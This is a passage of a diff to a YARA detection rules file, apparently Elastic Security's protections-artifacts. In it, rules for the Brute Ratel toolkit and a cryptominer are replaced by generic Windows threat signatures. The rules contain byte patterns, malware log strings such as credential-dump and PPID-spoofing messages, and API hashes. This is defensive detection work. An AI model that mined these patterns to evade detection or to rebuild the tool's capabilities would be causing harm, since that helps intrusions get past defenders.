 		all of them
 }
-rule ELASTIC_Windows_Trojan_Bruteratel_1916686D : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_90E4F085 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bruteratel (Windows.Trojan.BruteRatel)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "1916686d-4821-4e5a-8290-58336d01997f"
-		date = "2022-06-23"
-		modified = "2022-12-01"
+		id = "90e4f085-2f53-4e5e-bcb6-c24823539241"
+		date = "2024-01-12"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BruteRatel.yar#L1-L31"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "e0e7b8ba2865fc76845b21aa3e075ceab98888635a60bd722c0c81e0f4fcf58c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1117-L1137"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1a6a290d98f5957d00756fc55187c78030de7031544a981fd2bb4cfeae732168"
+		logic_hash = "2afeae6de965ae155914dcedbfe375327a9fca3b42733c23360dd4fddfcc8a3d"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "86304082d3eda2f160465f0af0a3feae1aa9695727520e51f139d951e50d6efc"
-		severity = 100
+		fingerprint = "1d40eef44166b3cc89b1f2ba9c667032fa44cba271db8b82cc2fed738225712a"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "[+] Spoofed PPID => %lu" wide fullword
-		$a2 = "[-] Child process not set" wide fullword
-		$a3 = "[+] Crisis Monitor: Already Running" wide fullword
-		$a4 = "[+] Screenshot downloaded: %S" wide fullword
-		$a5 = "s[-] Duplicate listener: %S" wide fullword
-		$a6 = "%02d%02d%d_%02d%02d%2d%02d.png" wide fullword
-		$a7 = "[+] Added Socks Profile" wide fullword
-		$a8 = "[+] Dump Size: %d Mb" wide fullword
-		$a9 = "[+] Enumerating PID: %lu [%ls]" wide fullword
-		$a10 = "[+] Dump Size: %d Mb" wide fullword
-		$a11 = "[+] SAM key: " wide fullword
-		$a12 = "[+] Token removed: '%ls'" wide fullword
-		$a13 = "[Tasks] %02d => 0x%02X 0x%02X" wide fullword
-		$b1 = { 48 83 EC ?? 48 8D 35 ?? ?? ?? ?? 4C 63 E2 31 D2 48 8D 7C 24 ?? 48 89 CB 4D 89 E0 4C 89 E5 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A4 31 F6 BF ?? ?? ?? ?? 39 F5 7E ?? E8 ?? ?? ?? ?? 99 F7 FF 48 63 D2 8A 44 14 ?? 88 04 33 48 FF C6 EB ?? }
+		$a1 = { 39 39 21 3A 37 3B 45 3C 50 3D 5B 3E 66 3F }
+		$a2 = { 66 32 33 39 20 3A 4E 3D 72 68 74 76 48 }
+		$a3 = { 32 78 37 7A 42 5A 4C 22 2A 66 49 7A 75 }
 
 	condition:
-		4 of ($a*) or 1 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Bruteratel_9B267F96 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_04A9C177 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bruteratel (Windows.Trojan.BruteRatel)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "9b267f96-11b3-48e6-9d38-ecfd72cb7e3e"
-		date = "2022-06-23"
-		modified = "2022-07-18"
+		id = "04a9c177-cacf-4509-b8dc-f30a628b7699"
+		date = "2024-01-12"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BruteRatel.yar#L33-L57"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "fbaaf4bf2462119b39a5df90b91fb831be3e602b926cd893374a5dddf48f029d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1139-L1157"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0cccdde4dcc8916fb6399c181722eb0da2775d86146ce3cb3fc7f8cf6cd67c29"
+		logic_hash = "ca7cf71228b1e13ec05c62cd9924ea5089fdf903d8ea4a5151866996ea81e01e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f20cbaf39dc68460a2612298a5df9efdf5bdb152159d38f4696aedf35862bbb6"
-		severity = 100
+		fingerprint = "b36da73631711de0213658d30d3079f45449c303d8eb87b8342d1bd20120c7bb"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "calAllocPH" ascii fullword
-		$a2 = "lizeCritPH" ascii fullword
-		$a3 = "BadgerPH" ascii fullword
-		$a4 = "VirtualPPH" ascii fullword
-		$a5 = "TerminatPH" ascii fullword
-		$a6 = "ickCountPH" ascii fullword
-		$a7 = "SeDebugPH" ascii fullword
-		$b1 = { 50 48 B8 E2 6A 15 64 56 22 0D 7E 50 48 B8 18 2C 05 7F BB 78 D7 27 50 48 B8 C9 EC BC 3D 84 54 9A 62 50 48 B8 A1 E1 3C 4E AF 2B F6 B1 50 48 B8 2E E6 7B A0 94 CA 9D F0 50 48 B8 61 52 80 AA 1A B6 4B 0E 50 48 B8 B2 13 11 5A 28 81 ED 60 50 48 B8 20 DE A9 34 89 08 C8 32 50 48 B8 9B DC C1 FF 79 CE 5B F5 50 48 B8 FD 57 3F 4C C7 D3 7A 21 50 48 B8 70 B8 63 0F AB 19 BF 1C 50 48 B8 48 F2 1B 72 1E 2A C6 8A 50 48 B8 E3 FA 38 E9 1D 76 E0 6F 50 48 B8 97 AD 75 }
+		$a1 = { 6F 81 00 06 FE 3C A3 C3 D6 37 16 00 C2 87 21 EA 80 33 09 E5 00 2C 0F 24 BD 70 BC CB FB 00 94 5E 1B F8 14 F6 E6 95 07 01 CD 02 B0 D7 30 25 65 99 74 01 D6 A4 47 B3 20 AF 27 D8 11 7F 03 57 F6 37 }
 
 	condition:
-		3 of ($a*) or 1 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Bruteratel_684A39F2 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_45D1E986 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bruteratel (Windows.Trojan.BruteRatel)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "684a39f2-a110-4553-8d29-9f742e0ca3dc"
-		date = "2023-01-24"
-		modified = "2023-02-01"
+		id = "45d1e986-78fb-4a83-97f6-2b40c657e709"
+		date = "2024-01-12"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BruteRatel.yar#L59-L84"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5f4782a34368bb661f413f33e2d1fb9f237b7f9637f2c0c21dc752316b02350c"
-		logic_hash = "7cb74176e1dbdd248295649568d29c9d88841fcd0c16479b6b7efc71c4a1d706"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1159-L1177"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fd159cf2f9bd48b0f6f5958eef8af8feede2bcbbea035a7e56ce1ff72d3f47eb"
+		logic_hash = "d53a4d189b9a49f9b6477e12bce0d41e62827306d1df79e6494ab67669d84f35"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fef288db141810b01f248a476368946c478a395b1709a982e2f740dd011c6328"
-		severity = 100
+		fingerprint = "facb67b78cc4d6cf5d141fd7153d331209e5ce46f29c0078c7e5683165c37057"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$seq1 = { 39 DA 0F 82 61 02 00 00 45 8D 48 14 44 39 CA 0F 82 54 02 00 00 41 8D 40 07 46 0F B6 0C 09 44 0F B6 1C 01 42 0F B6 04 11 41 C1 E3 08 41 09 C3 }
-		$seq2 = { 45 8A 44 13 F0 44 32 04 01 48 FF C0 45 88 04 13 48 FF C2 48 83 F8 04 75 E7 49 83 C2 04 48 83 C6 04 49 81 FA B0 00 00 00 75 AA 48 83 C4 38 5B 5E C3 }
-		$seq3 = { 48 83 EC 18 8A 01 88 04 24 8A 41 05 88 44 24 01 8A 41 0A 88 44 24 02 8A 41 0F 88 44 24 03 8A 41 04 88 44 24 04 8A 41 09 88 44 24 05 8A 41 0E 88 44 24 06 8A 41 03 88 44 24 07 }
-		$seq4 = { 42 8A 0C 22 8D 42 ?? 80 F9 ?? 75 ?? 48 98 4C 89 E9 48 29 C1 42 8A 14 20 80 FA ?? 74 ?? 88 14 01 48 FF C0 EB ?? }
-		$cfg1 = { 22 00 2C 00 22 00 61 00 72 00 63 00 68 00 22 00 3A 00 22 00 78 00 36 00 34 00 22 00 2C 00 22 00 62 00 6C 00 64 00 22 00 3A 00 22 00 }
-		$cfg2 = { 22 00 2C 00 22 00 77 00 76 00 65 00 72 00 22 00 3A 00 22 00 }
-		$cfg3 = { 22 00 2C 00 22 00 70 00 69 00 64 00 22 00 3A 00 22 00 }
-		$cfg4 = { 22 00 7D 00 2C 00 22 00 6D 00 74 00 64 00 74 00 22 00 3A 00 7B 00 22 00 68 00 5F 00 6E 00 61 00 6D 00 65 00 22 00 3A 00 22 00 }
+		$a1 = { 28 45 00 06 00 00 00 08 28 45 00 09 00 00 00 14 28 45 00 09 00 00 00 20 28 45 00 07 00 00 00 28 28 45 00 0A 00 00 00 34 28 45 00 0B 00 00 00 40 28 45 00 09 00 00 00 5B 81 45 00 00 00 00 00 4C }
 
 	condition:
-		any of ($seq*) and all of ($cfg*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Bruteratel_Ade6C9D5 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_83C38E63 : FILE MEMORY
 {
 	meta:
-		description = "Targets API hashes used by BruteRatel"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "ade6c9d5-e9b5-4ef8-bacd-2f050c25f7f6"
-		date = "2023-01-24"
-		modified = "2023-02-01"
+		id = "83c38e63-6a18-4def-abf2-35e36210e4cf"
+		date = "2024-01-12"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BruteRatel.yar#L86-L109"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dc9757c9aa3aff76d86f9f23a3d20a817e48ca3d7294307cc67477177af5c0d4"
-		logic_hash = "8ff8ed1e2b909606fe6aae3f43ad02898d7b3906c3d329a508f6d40490ec75a0"
-		score = 60
-		quality = 45
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1179-L1198"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2121a0e5debcfeedf200d7473030062bc9f5fbd5edfdcd464dfedde272ff1ae7"
+		logic_hash = "89d4036290a29b372918205bba85698d6343109503766cbb13999b5177fc3152"
+		score = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "9a4c5660eeb9158652561cf120e91ea5887841ed71f69e7cf4bfe4cfb11fe74a"
-		threat_name = "Windows.Trojan.BruteRatel"
-		severity = 100
+		fingerprint = "9cc8ee8dfa6080a18575a494e0b424154caecedcc8c8fd07dd3c91956c146d1e"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$c1_NtReadVirtualMemory = { AA A5 EF 3A }
-		$c2_NtQuerySystemInformation = { D6 CA E1 E4 }
-		$c3_NtCreateFile = { 9D 8F 88 03 }
-		$c4_RtlSetCurrentTranscation = { 90 85 A3 99 }
-		$c5_LoadLibrary = { 8E 4E 0E EC }
+		$a1 = { 32 65 65 64 36 35 36 64 64 35 38 65 39 35 30 35 62 34 33 39 35 34 32 30 31 39 36 66 62 33 35 36 }
+		$a2 = { 34 2A 34 4A 34 52 34 60 34 6F 34 7C 34 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Bruteratel_4110D879 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Bd24Be68 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bruteratel (Windows.Trojan.BruteRatel)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "4110d879-8d36-4004-858d-e62400948920"
-		date = "2023-05-10"
-		modified = "2023-06-13"
+		id = "bd24be68-3d72-44fd-92f2-39f592d47d0e"
+		date = "2024-01-12"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BruteRatel.yar#L111-L130"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e0fbbc548fdb9da83a72ddc1040463e37ab6b8b544bf0d2b206bfff352175afe"
-		logic_hash = "22c27523ddd8183c41da40f7ff908ae5bdee3b482c8a3f70aaa63a4c419e515b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1200-L1218"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fd159cf2f9bd48b0f6f5958eef8af8feede2bcbbea035a7e56ce1ff72d3f47eb"
+		logic_hash = "8536593696930d03f1e62586886f0df5438d13fb796b4605df7ad67d9633d5f9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "64d7a121961108d17e03fa767bd5bc194c8654dfa18b3b2f38cf6c95a711f794"
-		severity = 100
+		fingerprint = "35ff6c9b338ef95585d8d0059966857f6e5a426fa5f357acb844d264d239c70d"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 04 01 75 E2 48 83 C0 01 44 0F B6 04 02 45 84 C0 75 EC 48 89 }
-		$a2 = { C8 48 83 E9 20 44 0F B6 40 E0 41 80 F8 E9 74 0B 44 0F B6 49 03 41 80 }
+		$a1 = { 55 8B EC 8B 4D 0C 56 8B 75 08 89 0E E8 AB 17 00 00 8B 48 24 89 4E 04 E8 A0 17 00 00 89 70 24 8B C6 5E 5D C3 55 8B EC 56 E8 8F 17 00 00 8B 75 08 3B 70 24 75 0E 8B 76 04 E8 7F 17 00 00 89 70 24 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Bruteratel_5B12Cbab : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_A0C7B402 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bruteratel (Windows.Trojan.BruteRatel)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "5b12cbab-c64c-4895-a186-b940bf4a8620"
-		date = "2024-02-21"
-		modified = "2024-03-21"
+		id = "a0c7b402-cee5-4da6-9a32-72b1a0ae0f8d"
+		date = "2024-01-16"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BruteRatel.yar#L132-L150"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8165798fec8294523f25aedfc6699faad0c5d75f60bc7cefcbb2fa13dbc656e3"
-		logic_hash = "b86296dafaef1dfa0a41704cafa351694abb0e453e104dfe06836ed599338f38"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1220-L1238"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5814d7712304800d92487b8e1108d20ad7b44f48910b1fb0a99e9b36baa4333a"
+		logic_hash = "d0aa75debbefb301b9fc46ceca4944ae8c4b009118214a9589440b59089b853e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "33e4c8fa032f33bec4719707d3ddcfa5103b747d9be70fa41848fdafd254c0ac"
-		severity = 100
+		fingerprint = "0ca7d91a97c12f4640dd367d19d8645dd1da713cfa62289c40f8c34202ddf256"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { 48 81 EC 00 01 00 00 31 C0 41 89 D3 48 89 E3 88 04 18 48 FF C0 48 3D 00 01 00 00 75 F2 45 31 D2 31 FF 44 89 D0 42 8A 34 13 99 41 F7 FB 48 63 D2 8A 04 11 01 F0 01 F8 0F B6 F8 0F B6 C0 8A 14 04 }
+		$a1 = { 55 89 E5 57 56 83 E4 F8 83 EC 20 8B 75 10 8B 7D 0C 89 E0 8D 4C 24 18 6A 05 6A 18 50 51 FF 75 08 68 BC 52 4D 90 E8 26 00 00 00 83 C4 18 85 FF 74 06 8B 4C 24 08 89 0F 85 F6 74 08 80 7C 24 15 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Bruteratel_5E383Ae0 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_42B3E0D7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bruteratel (Windows.Trojan.BruteRatel)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "5e383ae0-c379-4a8b-938e-943fb1f3fd06"
-		date = "2024-03-27"
-		modified = "2024-05-08"
+		id = "42b3e0d7-ec42-4940-b5f3-e9782997dccf"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BruteRatel.yar#L152-L184"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0b506ef32f58ee2b1e5701ca8e13c67584739ab1d00ee4a0c2f532c09a15836f"
-		logic_hash = "5d87ada1c609e23742c389f8153a9266c4db95be4a5e10b50979aebc993a45e0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1240-L1258"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "99ad416b155970fda383a63fe61de2e4d0254e9c9e09564e17938e8e2b49b5b7"
+		logic_hash = "58b4c667b6d796f4525afeb706394f593d03393e3a48e2a0b7664f121e6a78fe"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4a32b644ae97dfefa8766aa86cd519733ca2827a4a24d6ba5d9ac650a3559abc"
-		severity = 100
+		fingerprint = "7d3974400d05bc7bbcd63c99e8257d0676b38335de74a4bcfde9e86553f50f08"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "_imp_BadgerWcslen"
-		$a2 = "_imp_BadgerStrcmp"
-		$a3 = "_imp_BadgerDispatch"
-		$a4 = "_imp_BadgerStrlen"
-		$a5 = "_imp_BadgerMemset"
-		$a6 = "_imp_BadgerMemcpy"
-		$a7 = "_imp_BadgerWcscmp"
-		$a8 = "_imp_BadgerAlloc"
-		$a9 = "_imp_BadgerFree"
-		$a10 = "_imp_BadgerSetdebug"
-		$a11 = "_imp_BadgerGetBufferSize"
-		$b1 = "__imp_Kernel32$"
-		$b2 = "__imp_Ntdll$Nt"
-		$b3 = "__imp_Advapi32$"
-		$b4 = "__imp_NETAPI32$"
+		$a1 = { 83 C4 F8 53 33 DB 6A 00 8D 45 F8 50 8B 45 0C 50 8B 45 10 50 6A 00 6A 00 33 C9 33 D2 8B 45 08 E8 B1 F7 FF FF 85 C0 75 05 BB 01 00 00 00 8B C3 5B 59 59 5D C2 0C 00 8D 40 00 53 BB E0 E1 }
 
 	condition:
-		1 of ($a*) and 1 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Bruteratel_644Ac114 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_66142106 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bruteratel (Windows.Trojan.BruteRatel)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "644ac114-cc66-443e-9dd0-a591be99a86c"
-		date = "2024-04-17"
-		modified = "2024-05-08"
+		id = "66142106-d602-4b1b-a79b-64d692c613ca"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BruteRatel.yar#L186-L205"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ace6a99d95ef859d4ab74db6900753e754273a12a34721f1aa8f1a9df3d8ec35"
-		logic_hash = "06ffea16a0348f2276f379db150b5f9d2dbdffbcb2eee83c55c27c837ecb1e69"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1260-L1278"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cd164a65fb2a496ad7b54c782f25fbfca0540d46d2c0d6b098d7be516c4ce021"
+		logic_hash = "bf5d8db3ed6d2abc3158b04e904351250bf17a6d766e31769b3c5a6e534165b0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "471b2e5f0ae2a08accb90c602af5e892afc1f2a140b25db977df610123cf60be"
-		severity = 100
+		fingerprint = "b5816297691fefc46ab11cb175a4e20d40c5095c20417e80590ceb05bd1ec974"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { 80 39 0F 75 ?? 80 79 01 05 75 ?? 80 79 02 C3 75 ?? 48 89 C8 C3 }
-		$b = { 80 79 01 8B 75 ?? 80 79 02 D1 75 ?? 41 80 F9 B8 75 ?? 80 79 06 00 75 ?? 0F B6 41 05 C1 E0 08 41 89 C0 0F B6 41 04 }
+		$a1 = { 83 EC 10 6A 00 8D 4D F0 E8 6B FF FF FF 8B 45 F4 BA E9 FD 00 00 39 50 08 74 0C E8 29 48 00 00 33 D2 85 C0 75 01 42 80 7D FC 00 74 0A 8B 4D F0 83 A1 50 03 00 00 FD 8B C2 C9 C3 8B FF 56 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Cryptominer_Generic_Dd1E4D1A : FILE
+rule ELASTIC_Windows_Generic_Threat_51A1D82B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Cryptominer Generic (Windows.Cryptominer.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "dd1e4d1a-2e2f-4af0-bd66-2e12367dd064"
-		date = "2021-01-12"
-		modified = "2021-08-23"
+		id = "51a1d82b-2ae0-45c9-b51d-9b54454dfcee"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Cryptominer_Generic.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7ac1d7b6107307fb2442522604c8fa56010d931392d606ac74dcea6b7125954b"
-		logic_hash = "b7289c4688ec67d59e67755461f1f4e0c3f47ef9f8c73fc1dcc1d168baf11623"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1280-L1298"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1a7adde856991fa25fac79048461102fba58cda9492d4f5203b817d767a81018"
+		logic_hash = "2d6b0560e1980deb6aad8e0902d065eeda406506b70bb8bb27c7fa58be9842f8"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "a00e3e08e11d10a7a4bf1110a5110e4d0a4d2acf0974aca9dfc1ad5f21c80df7"
-		severity = 100
+		tags = "FILE, MEMORY"
+		fingerprint = "fddf98cdb00734e50908161d6715e807b1c4437789af524d6f0a17df55572261"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { EF F9 66 0F EF FA 66 0F FE FE 66 0F 6F B0 B0 00 00 00 66 0F }
+		$a1 = { 83 EC 04 53 56 57 89 4D FC 8B 45 FC 50 FF 15 D0 63 41 00 5F 5E 5B C9 C3 CC CC CC CC CC 66 8B 01 56 66 8B 32 57 66 3B F0 72 44 75 0A 66 8B 79 02 66 39 7A 02 72 38 66 3B F0 75 14 66 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Cryptominer_Generic_F53Cfb9B : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Dee3B4Bf : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Cryptominer Generic (Windows.Cryptominer.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "f53cfb9b-0286-4e7e-895e-385b6f64c58a"
-		date = "2024-03-05"
-		modified = "2024-06-12"
+		id = "dee3b4bf-f09e-46a7-b177-6b1445db88ad"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Cryptominer_Generic.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a9870a03ddc6543a5a12d50f95934ff49f26b60921096b2c8f2193cb411ed408"
-		logic_hash = "b2453862747e251afc34c57e887889b8d3a65a9cc876d4a95ff5ecfcc24e4bd3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1300-L1318"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c7f4b63fa5c7386d6444c0d0428a8fe328446efcef5fda93821f05e86efd2fba"
+		logic_hash = "cfd7f9250ab44ffe12b62f84ae753032642d9aa2524d88a6d4d989a2afa043a3"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "2b66960ee7d423669d0d9e9dcd22ea6e1c0843893e5e04db92237b67b43d645c"
+		fingerprint = "6f6cf93e5ac640d1e71f9554752a846c3cc051d95c232e2f4d8fa383d5a3b5af"
 		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -81526,3333 +85456,3215 @@ rule ELASTIC_Windows_Cryptominer_Generic_F53Cfb9B : FILE MEMORY
 		os = "windows"
 
 	strings:
